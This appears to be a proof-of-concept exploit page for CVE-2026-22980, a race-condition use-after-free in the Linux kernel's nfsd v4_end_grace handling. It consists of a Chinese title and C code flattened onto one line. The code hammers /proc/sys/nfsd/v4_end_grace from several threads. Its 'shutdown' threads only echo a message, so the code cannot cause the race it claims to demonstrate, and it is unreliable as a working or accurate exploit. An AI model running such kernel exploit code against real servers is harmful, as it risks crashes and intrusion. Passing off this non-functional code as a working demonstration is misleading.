CVE-2026-22980 Linux内核nfsd v4_end_grace竞态条件导致UAF

// CVE-2026-22980 PoC - nfsd v4_end_grace race condition // This PoC demonstrates the race condition in nfsd4_end_grace() // Compile: gcc -o cve_2026_22980_poc cve_2026_22980_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define NUM_THREADS 4 #define ITERATIONS 1000 // Simulate writing to v4_end_grace sysctl void* trigger_v4_end_grace_write(void* arg) { int fd; char* sysctl_path = "/proc/sys/nfsd/v4_end_grace"; for (int i = 0; i < ITERATIONS; i++) { fd = open(sysctl_path, O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } usleep(rand() % 100); } return NULL; } // Simulate server shutdown race condition void* trigger_server_shutdown(void* arg) { for (int i = 0; i < ITERATIONS / 2; i++) { // Simulate shutdown and reclaim operations system("echo 'Simulating nfsd shutdown and reclaim_str_hashtbl'"); usleep(rand() % 150); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("CVE-2026-22980 PoC - nfsd v4_end_grace Race Condition\n"); printf("This PoC demonstrates the race between v4_end_grace writes and server shutdown\n"); printf("Target: Linux Kernel nfsd subsystem\n\n"); // Create threads to trigger race condition pthread_create(&threads[0], NULL, trigger_v4_end_grace_write, NULL); pthread_create(&threads[1], NULL, trigger_v4_end_grace_write, NULL); pthread_create(&threads[2], NULL, trigger_server_shutdown, NULL); pthread_create(&threads[3], NULL, trigger_server_shutdown, NULL); // Wait for threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition test completed.\n"); printf("Check dmesg for use-after-free errors if vulnerable.\n"); return 0; } /* Note: This is a conceptual PoC. Actual exploitation requires: 1. NFS server running with v4_end_grace accessible 2. Precise timing control to trigger the race 3. Kernel debugging enabled to observe UAF Real exploitation would involve: - Setting up NFSv4 server - Triggering concurrent grace period end and shutdown - Observing kernel oops in reclaim_str_hashtbl */